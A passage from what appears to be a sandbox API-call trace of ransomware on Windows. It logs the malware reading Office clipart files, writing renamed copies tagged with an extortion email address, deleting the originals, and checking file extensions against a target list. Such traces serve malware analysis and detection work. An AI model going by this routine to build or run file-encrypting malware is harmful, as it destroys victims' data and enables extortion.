lpOverlapped=0x0) returned 1 [0159.700] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.700] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.700] SetEndOfFile (hFile=0x378) returned 1 [0159.700] CloseHandle (hObject=0x378) returned 1 [0159.700] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.700] SetEndOfFile (hFile=0x380) returned 1 [0159.701] CloseHandle (hObject=0x380) returned 1 [0159.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf")) returned 1 [0159.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0159.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0159.702] lstrlenW (lpString=".doc") returned 4 [0159.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.702] lstrlenW (lpString=".docx") returned 5 [0159.702] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.702] lstrlenW (lpString=".pdf") returned 4 [0159.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.702] lstrlenW (lpString=".xls") returned 4 [0159.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.702] lstrlenW (lpString=".xlsx") returned 5 [0159.702] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.702] lstrlenW (lpString=".ppt") returned 4 [0159.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0159.702] lstrlenW (lpString=".zip") returned 4 [0159.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.702] lstrlenW (lpString=".rar") returned 4 [0159.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.702] lstrlenW (lpString=".bz2") returned 4 [0159.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.702] lstrlenW (lpString=".7z") returned 3 [0159.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0159.702] lstrlenW (lpString=".dbf") returned 4 [0159.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0159.702] lstrlenW (lpString=".1cd") returned 4 [0159.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0159.703] lstrlenW (lpString=".jpg") returned 4 [0159.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.075] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.075] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.075] GetLastError () returned 0x0 [0160.075] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xa410, lpOverlapped=0x0) returned 1 [0160.077] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xa420, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xa420, lpOverlapped=0x0) returned 1 [0160.079] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.079] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.079] SetEndOfFile (hFile=0x370) returned 1 [0160.079] CloseHandle (hObject=0x370) returned 1 [0160.079] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.079] SetEndOfFile (hFile=0x338) returned 1 [0160.080] CloseHandle (hObject=0x338) returned 1 [0160.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf")) returned 1 [0160.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0160.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0160.081] lstrlenW (lpString=".doc") returned 4 [0160.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString=".docx") returned 5 [0160.081] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0160.081] lstrlenW (lpString=".pdf") returned 4 [0160.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString=".xls") returned 4 [0160.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.081] lstrlenW (lpString=".xlsx") returned 5 [0160.081] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0160.081] lstrlenW (lpString=".ppt") returned 4 [0160.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0160.081] lstrlenW (lpString=".zip") returned 4 [0160.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.081] lstrlenW (lpString=".rar") returned 4 [0160.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString=".bz2") returned 4 [0160.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString=".7z") returned 3 [0160.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0160.081] lstrlenW (lpString=".dbf") returned 4 [0160.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0160.081] lstrlenW (lpString=".1cd") returned 4 [0160.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0160.081] lstrlenW (lpString=".jpg") returned 4 [0160.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.082] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.082] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.082] GetLastError () returned 0x0 [0160.082] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1476, lpOverlapped=0x0) returned 1 [0160.091] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1480, lpOverlapped=0x0) returned 1 [0160.092] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.092] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.092] SetEndOfFile (hFile=0x370) returned 1 [0160.092] CloseHandle (hObject=0x370) returned 1 [0160.092] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.092] SetEndOfFile (hFile=0x338) returned 1 [0160.093] CloseHandle (hObject=0x338) returned 1 [0160.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf")) returned 1 [0160.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0160.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0160.094] lstrlenW (lpString=".doc") returned 4 [0160.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString=".docx") returned 5 [0160.094] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.094] lstrlenW (lpString=".pdf") returned 4 [0160.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString=".xls") returned 4 [0160.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.094] lstrlenW (lpString=".xlsx") returned 5 [0160.094] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.094] lstrlenW (lpString=".ppt") returned 4 [0160.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0160.094] lstrlenW (lpString=".zip") returned 4 [0160.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.094] lstrlenW (lpString=".rar") returned 4 [0160.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString=".bz2") returned 4 [0160.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString=".7z") returned 3 [0160.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0160.094] lstrlenW (lpString=".dbf") returned 4 [0160.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0160.094] lstrlenW (lpString=".1cd") returned 4 [0160.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0160.094] lstrlenW (lpString=".jpg") returned 4 [0160.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.095] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.095] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.095] GetLastError () returned 0x0 [0160.095] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xa4e, lpOverlapped=0x0) returned 1 [0160.416] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xa50, lpOverlapped=0x0) returned 1 [0160.418] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.418] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.419] SetEndOfFile (hFile=0x370) returned 1 [0160.419] CloseHandle (hObject=0x370) returned 1 [0160.419] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.419] SetEndOfFile (hFile=0x338) returned 1 [0160.420] CloseHandle (hObject=0x338) returned 1 [0160.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf")) returned 1 [0160.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0160.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0160.421] lstrlenW (lpString=".doc") returned 4 [0160.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString=".docx") returned 5 [0160.421] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.421] lstrlenW (lpString=".pdf") returned 4 [0160.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString=".xls") returned 4 [0160.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.421] lstrlenW (lpString=".xlsx") returned 5 [0160.421] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.421] lstrlenW (lpString=".ppt") returned 4 [0160.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0160.421] lstrlenW (lpString=".zip") returned 4 [0160.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.421] lstrlenW (lpString=".rar") returned 4 [0160.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString=".bz2") returned 4 [0160.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString=".7z") returned 3 [0160.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0160.421] lstrlenW (lpString=".dbf") returned 4 [0160.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0160.421] lstrlenW (lpString=".1cd") returned 4 [0160.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0160.422] lstrlenW (lpString=".jpg") returned 4 [0160.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.422] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.423] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.423] GetLastError () returned 0x0 [0160.423] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7938, lpOverlapped=0x0) returned 1 [0160.513] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7940, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7940, lpOverlapped=0x0) returned 1 [0160.516] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.516] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.516] SetEndOfFile (hFile=0x370) returned 1 [0160.516] CloseHandle (hObject=0x370) returned 1 [0160.516] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.516] SetEndOfFile (hFile=0x338) returned 1 [0160.517] CloseHandle (hObject=0x338) returned 1 [0160.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf")) returned 1 [0160.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0160.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0160.518] lstrlenW (lpString=".doc") returned 4 [0160.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.518] lstrlenW (lpString=".docx") returned 5 [0160.518] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0160.518] lstrlenW (lpString=".pdf") returned 4 [0160.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.518] lstrlenW (lpString=".xls") returned 4 [0160.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.519] lstrlenW (lpString=".xlsx") returned 5 [0160.519] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0160.519] lstrlenW (lpString=".ppt") returned 4 [0160.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0160.519] lstrlenW (lpString=".zip") returned 4 [0160.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.519] lstrlenW (lpString=".rar") returned 4 [0160.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.519] lstrlenW (lpString=".bz2") returned 4 [0160.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.519] lstrlenW (lpString=".7z") returned 3 [0160.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0160.519] lstrlenW (lpString=".dbf") returned 4 [0160.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0160.519] lstrlenW (lpString=".1cd") returned 4 [0160.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF") returned 68 [0160.519] lstrlenW (lpString=".jpg") returned 4 [0160.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.520] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.520] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0160.521] GetLastError () returned 0x0 [0160.521] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x6958, lpOverlapped=0x0) returned 1 [0160.591] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x6960, lpOverlapped=0x0) returned 1 [0160.593] ReadFile (in: hFile=0x338, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.593] WriteFile (in: hFile=0x370, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.593] SetEndOfFile (hFile=0x370) returned 1 [0160.593] CloseHandle (hObject=0x370) returned 1 [0160.593] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.593] SetEndOfFile (hFile=0x338) returned 1 [0160.594] CloseHandle (hObject=0x338) returned 1 [0160.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf")) returned 1 [0160.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF") returned 68 [0160.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF") returned 68 [0160.596] lstrlenW (lpString=".doc") returned 4 [0160.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.596] lstrlenW (lpString=".docx") returned 5 [0160.596] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.596] lstrlenW (lpString=".pdf") returned 4 [0160.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.596] lstrlenW (lpString=".xls") returned 4 [0160.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.596] lstrlenW (lpString=".xlsx") returned 5 [0160.596] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.596] lstrlenW (lpString=".ppt") returned 4 [0160.596] lstrcmpiW 